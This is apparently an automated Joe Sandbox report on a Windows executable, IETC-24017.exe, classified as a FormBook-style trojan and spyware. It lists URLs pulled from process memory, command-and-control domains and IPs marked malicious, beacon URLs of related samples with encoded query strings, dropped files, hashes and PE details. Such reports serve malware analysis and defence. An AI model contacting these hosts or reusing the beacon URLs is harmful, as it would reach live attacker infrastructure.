http://www.apache.org/licenses/LICENSE-2.0	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.li	openfiles.exe, 00000007.00000002.4123887775.0000000002B91000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	openfiles.exe, 00000007.00000002.4126876869.0000000007988000.00000004.00000020.00020000.00000000.sdmp	false		high
https://minne.com/?utm_source=lolipop&utm_medium=banner&utm_campaign=synergy&utm_content=404	UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000006D8A000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.000000000648A000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.canadavinreport.site/vvzz/?ifzt=cUYTrm/9WoUGLtXnEfHvigyvVWYscXEqz9Hmi7WWzB	UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000006BF8000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.00000000062F8000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://assets.lolipop.jp/img/bnr/bnr_lolipop_ad_001.gif	UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000006D8A000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.000000000648A000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	openfiles.exe, 00000007.00000002.4126876869.0000000007988000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	openfiles.exe, 00000007.00000002.4126876869.0000000007988000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://playchill.top/api/axgames/request?domain=$	UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000005C44000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.0000000005344000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2123173632.0000000027544000.00000004.80000000.00040000.00000000.sdmp	false		high
https://gamesfunny.top$	UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000005C44000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.0000000005344000.00000004.10000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4126711874.0000000007630000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000000B.00000002.2123173632.0000000027544000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://code.jquery.com/jquery-3.5.1.min.js	UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000005C44000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.0000000005344000.00000004.10000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4126711874.0000000007630000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000000B.00000002.2123173632.0000000027544000.00000004.80000000.00040000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	IETC-24017.exe, 00000000.00000002.1690310371.00000000068B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://js.ad-stir.com/js/adstir.js?20130527	UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000006D8A000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.000000000648A000.00000004.10000000.00040000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	openfiles.exe, 00000007.00000002.4126876869.0000000007988000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.minne.com/files/banner/minne_600x500	UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000006D8A000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.000000000648A000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htmtK	IETC-24017.exe, 00000000.00000002.1690156355.0000000005190000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
209.74.77.108	www.urbanfashion.website	United States	31744	MULTIBAND-NEWHOPEUS	true
212.123.41.108	www.caj-bioteaque.online	Germany	12915	EPAG-ASDE	true
185.27.134.144	www.amayavp.xyz	United Kingdom	34119	WILDCARD-ASWildcardUKLimitedGB	true
163.44.185.183	www.sankan-fukushi.info	Japan	7506	INTERQGMOInternetIncJP	true
172.67.223.206	www.ssrpidemt-soar.sbs	United States	13335	CLOUDFLARENETUS	true
107.167.84.42	cssa.auction	United States	53755	IOFLOODUS	true
104.21.16.206	www.airrelax.shop	United States	13335	CLOUDFLARENETUS	true
206.238.89.119	www.127358.win	United States	174	COGENT-174US	true
217.160.0.200	carsten.studio	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
161.97.142.144	www.030002613.xyz	United States	51167	CONTABODE	true
43.199.54.158	www.327531.buzz	Japan	4249	LILLY-ASUS	true
185.27.134.206	www.canadavinreport.site	United Kingdom	34119	WILDCARD-ASWildcardUKLimitedGB	true
74.48.143.82	bpgroup.site	Canada	14663	TELUS-3CA	true
172.67.186.192	www.izmirescortg.xyz	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562159
Start date and time:	2024-11-25 09:41:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	IETC-24017.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@11/7@18/14
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 92% Number of executed functions: 90 Number of non-executed functions: 284
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: IETC-24017.exe

Simulations

Behavior and APIs

Time	Type	Description
03:41:58	API Interceptor	2x Sleep call for process: IETC-24017.exe modified
03:42:01	API Interceptor	18x Sleep call for process: powershell.exe modified
03:42:51	API Interceptor	10010512x Sleep call for process: openfiles.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
209.74.77.108	VSP469620.exe	Get hash	malicious	FormBook	Browse	www.urbanxplore.info/chlo/?9HaD=WJ8Pjkl58Iqvi8v+346A7W2JCurCP35uavULUkOWxAdWurHwpVHOzp+Wq3EHGCpSI2RFmnu5nAtTba/o9p0CIyXXw9XhC0V5AfBtSRheiGahxikEfA==&wdv4=1RD4
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.mindfulmo.life/grm8/
	Mandatory Notice for all December Leave and Vacation application.exe	Get hash	malicious	FormBook	Browse	www.hobbihub.info/i5gf/
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.mindfulmo.life/grm8/
212.123.41.108	order.exe	Get hash	malicious	FormBook	Browse	www.barvingl.online/kqa8/?6LmleBl0=cFpkcfNONqUjMBTzp5cpXnBVfAWhcDIzJVOZSMm9giM6Fyw/9VhImr06LAIYzGnJMes5RjCp2F6lBnm9QzcsoLZzAcibydZloKa433i5tqev&UxyDX=VNL8-ZSx
	order.exe	Get hash	malicious	FormBook	Browse	www.barvingl.online/kqa8/?uJ=cFpkcfNONqUjMBTzp5cpXnBVfAWhcDIzJVOZSMm9giM6Fyw/9VhImr06LAIYzGnJMes5RjCp2F6lBnm9QzcsoIcwEuaW18Akoaa4332kgKev&8z=fhbX
	svo0k2D8I1.exe	Get hash	malicious	FormBook	Browse	www.barvingl.online/kqa8/?96t8h=cFpkcfNONqUjMBTslZcHXQUURlu1IQQzJVOZSMm9giM6Fyw/9VhImr06LAIYzGnJMes5RjCp2F6lBnm9QzcvloZyAvKo1OlciQ==&knSHc=IHPtK27HtPe
	10-2023.xlsx.exe	Get hash	malicious	FormBook	Browse	www.cannabis-online-club.com/h98d/?5BtH50=KvtLQh4w1H83c0WibI9Kl3pV24lZ64IQb4SisRJ4OMWuLt1e1z+A+6kuafT+sn2kZrqQySi5S2hvsgUjTVBHdt7anP7qgyU3DT6EkumJFweH&2034-=Trm05BePQnXh
	FnhGaHsRol.exe	Get hash	malicious	FormBook	Browse	www.elephant-jobs.com/mfz6/?VmhTbl=vc3mRvjcopo&M3=Nh4RiXGq9rirxprZxwngEkCRtuUg03Wk9sPut6Ss0OLP0uwrDSENrdr+PTD7hSRCFu7YxcmD4E3jR7sCfZfUunQrWBvxCOQLEA==
	eK7wjZyiSZ.exe	Get hash	malicious	FormBook	Browse	www.elephant-jobs.com/mfz6/
	Purchase_order.vbe	Get hash	malicious	FormBook, GuLoader, Play	Browse	www.elephant-jobs.com/mfz6/?_Co=QntwWSnq4bm&a_E4inV=Nh4RiXGq9rirxprZwAqoDkeTpuJRiiik9sPut6Ss0OLP0uwrDSENrdv+PTD7hSRCFu7YxcmD4E3jR7sCfZfUnDQddSn0VdgxEQ==
	PURCHASE_ORDER_pdf.exe	Get hash	malicious	FormBook	Browse	www.elephant-jobs.com/n65e/?vsc5CQEL=zpix8XPaCaLMbMuJKxLl5xKAf/vHqb+EOSSsuRjy9k3iOcFCF+QQ9dJdWTNAbhWoOF60wuKwrIwmvoIcofYNeJtgTez+3V4dYIfUZ5DrFQ70&BOlc_j=zr9WAC
	PUCHASE_INQUIRY_pdf.exe	Get hash	malicious	FormBook	Browse	www.elephant-jobs.com/n65e/?JBlCXoB=zpix8XPaCaLMbMuJKxLl5xKAf/vHqb+EOSSsuRjy9k3iOcFCF+QQ9dJdWTNAbhWoOF60wuKwrIwmvoIcofYNTuVWZNb+zEQRfw==&ik_E=eSJ0Nu0lvfR1d
	Hesap ekstresi.exe	Get hash	malicious	FormBook	Browse	www.ifkosterakerfk.com/vy03/?lJBlS2K=+sMfLenlH3CD0A2XifXl9426qhEBL6Gr00HWq0CAArGlu59HMsqqo3E0Ru5fuFbWK76V&l0D0=aHqLWrUP
185.27.134.144	purchase Order.exe	Get hash	malicious	FormBook	Browse	www.amayavp.xyz/d9ku/
	DOC_114542366.vbe	Get hash	malicious	FormBook	Browse	www.amayavp.xyz/dcdf/
	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.amayavp.xyz/d9ku/
	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	www.hasthosting.xyz/04fb/
	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	www.hasthosting.xyz/04fb/
	http://outlook-accede-aqui.iceiy.com/	Get hash	malicious	Unknown	Browse	outlook-accede-aqui.iceiy.com/jquery.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.amayavp.xyz	purchase Order.exe	Get hash	malicious	FormBook	Browse	185.27.134.144
	DOC_114542366.vbe	Get hash	malicious	FormBook	Browse	185.27.134.144
	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	185.27.134.144
www.127358.win	need quotations.exe	Get hash	malicious	FormBook	Browse	206.238.89.119
www.canadavinreport.site	Quotation.exe	Get hash	malicious	FormBook	Browse	185.27.134.206
	payments.exe	Get hash	malicious	FormBook	Browse	185.27.134.206
	Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exe	Get hash	malicious	FormBook	Browse	185.27.134.206
www.izmirescortg.xyz	file.exe	Get hash	malicious	FormBook	Browse	172.67.186.192
www.izmirescortg.xyz	Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exe	Get hash	malicious	FormBook	Browse	104.21.36.62

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
EPAG-ASDE	AMM9Xsyg59.elf	Get hash	malicious	Mirai	Browse	212.123.43.16
	order.exe	Get hash	malicious	FormBook	Browse	212.123.41.108
	order.exe	Get hash	malicious	FormBook	Browse	212.123.41.108
	svo0k2D8I1.exe	Get hash	malicious	FormBook	Browse	212.123.41.108
	10-2023.xlsx.exe	Get hash	malicious	FormBook	Browse	212.123.41.108
	FnhGaHsRol.exe	Get hash	malicious	FormBook	Browse	212.123.41.108
	eK7wjZyiSZ.exe	Get hash	malicious	FormBook	Browse	212.123.41.108
	Purchase_order.vbe	Get hash	malicious	FormBook, GuLoader, Play	Browse	212.123.41.108
	PURCHASE_ORDER_pdf.exe	Get hash	malicious	FormBook	Browse	212.123.41.108
	PUCHASE_INQUIRY_pdf.exe	Get hash	malicious	FormBook	Browse	212.123.41.108
WILDCARD-ASWildcardUKLimitedGB	purchase Order.exe	Get hash	malicious	FormBook	Browse	185.27.134.144
	Quotation.exe	Get hash	malicious	FormBook	Browse	185.27.134.206
	payments.exe	Get hash	malicious	FormBook	Browse	185.27.134.206
	http://modelingcontest.000.pe/en?fbclid=PAZXh0bgNhZW0CMTEAAaa6oIoeflm16eQmOq1EZIkCPi7LQwqIUcx7ZtlQ7FlCxpWEYZM0cKUWzVI_aem_dLuQfyf714XDRjlRdJDY2Q	Get hash	malicious	HTMLPhisher	Browse	185.27.134.231
	Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exe	Get hash	malicious	FormBook	Browse	185.27.134.206
	DOC_114542366.vbe	Get hash	malicious	FormBook	Browse	185.27.134.144
	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	185.27.134.144
	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	185.27.134.144
	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	185.27.134.144
	https://downloadourauthfile-list.thsite.top/?em=EU-Sales-Support@scanlab.de	Get hash	malicious	Unknown	Browse	185.27.134.155
INTERQGMOInternetIncJP	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	163.44.185.183
	exe009.exe	Get hash	malicious	Emotet	Browse	157.7.164.178
	https://us-west-2.protection.sophos.com/?d=vercel.app&u=aHR0cHM6Ly93ZWJtYWlsLWF1dGgtc2VjLnZlcmNlbC5hcHA=&i=NWVjYjQ2MzZmNTgwNWIwZWJlZWZkM2Fl&t=UXZ3YkZpNSszWkdZNlBPdUNtNGVRQTM2ZzV1SmdscHZTN2E0TDhEQUVMYz0=&h=41cf60c27bc24f608fa5f6f60edfa437&s=AVNPUEhUT0NFTkNSWVBUSVYWbs5htFrsKfDZKi2vxyeN8JAV7eyBc8AqkmOaHaHVi8YGx5zRAzUm2TNYTJQ1rCs#Ymtqb29AaGRlbC5jby5rcg==	Get hash	malicious	Unknown	Browse	150.95.219.20
	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	163.44.185.183
	TT copy.exe	Get hash	malicious	FormBook	Browse	150.95.254.16
	botnet.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	150.95.219.222
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	157.7.100.20
	RO2Y11yOJ7.exe	Get hash	malicious	FormBook	Browse	150.95.254.16
	DHL_doc.exe	Get hash	malicious	FormBook	Browse	163.44.176.12
	r6lOHDg9N9.exe	Get hash	malicious	FormBook	Browse	133.130.35.90
MULTIBAND-NEWHOPEUS	PAYROLL LIST.exe	Get hash	malicious	FormBook	Browse	209.74.77.109
	file.exe	Get hash	malicious	FormBook	Browse	209.74.77.109
	VSP469620.exe	Get hash	malicious	FormBook	Browse	209.74.77.108
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	209.74.77.108
	Purchase Order PO.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	PO #2411071822.exe	Get hash	malicious	FormBook	Browse	209.74.77.109
	Quotation.exe	Get hash	malicious	FormBook	Browse	209.74.77.109
	payments.exe	Get hash	malicious	FormBook	Browse	209.74.77.109
	Mandatory Notice for all December Leave and Vacation application.exe	Get hash	malicious	FormBook	Browse	209.74.77.108
	http://mt6j71.p1keesoulharmony.com/	Get hash	malicious	HTMLPhisher, EvilProxy	Browse	209.74.95.101

Process:	C:\Users\user\Desktop\IETC-24017.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379828835936797
Encrypted:	false
SSDEEP:	48:tWSU4xympjgs4RIoU99tK8NPZHUl7u1iMuge//Zf0Uyus:tLHxvCsIfA2KRHmOugo1s
MD5:	9428C7E0853A13FBA7C8F7CF03B3B7A4
SHA1:	ADEDDF06890E98ECBB53BFEEE6719517BB49FF0B
SHA-256:	0E9C782844A0FF5406890E603F75740D4D31A7728F3CC21BB78B3C2A9B31635B
SHA-512:	808278D90B09BF7333ACF6B6A2539855986426AEB33F9FE0D6CF3844361E0C9D7CBAA3D5A2338D6151A497C14EBDD1732AB3278E8B41DB5E321588D6B889AFEF
Malicious:	false
Reputation:	low
Preview:	@...e.................................,..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\_22L-I54

Process:	C:\Windows\SysWOW64\openfiles.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0wqk5mbk.x0h.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kll1lkb0.amr.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rhic3f1q.ttp.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vi0j52ei.xu0.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.936017984768394
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	IETC-24017.exe
File size:	768'512 bytes
MD5:	2d9da996ec68d0ac26b84d52a3298383
SHA1:	730f898be0b7296a0b554889567e97eef497b7b6
SHA256:	c5523d6938b41d9f2b512ca472f570145539087597f4f31e3e62060e88b03c48
SHA512:	79f302dba28e254eac6f1a0bcabaaa5c9aae112fea19d06375e827ed9f7365991fc52c1385c4e8a6dc98aba4de3c0902f1383add704628d75db4d995d821d5fe
SSDEEP:	12288:2sMdD3RbeXg2gVUpWoRVW9LQ67JLTNn9VaXHn6NThxO+fkz:2TdD35eXg2gboRVuLQ67HaXn69
TLSH:	ACF41252B2A0DF22D27A47B65859928003F965169263E32C4FDEF0DB1FB3F024A61F47
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0.................. ........@.. ....................................@................................

File Icon


Icon Hash:	4f050d0d0d054f90

Static PE Info

General

Entrypoint:	0x4bbc96
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xA1FAACB2 [Sat Feb 12 05:46:26 2056 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
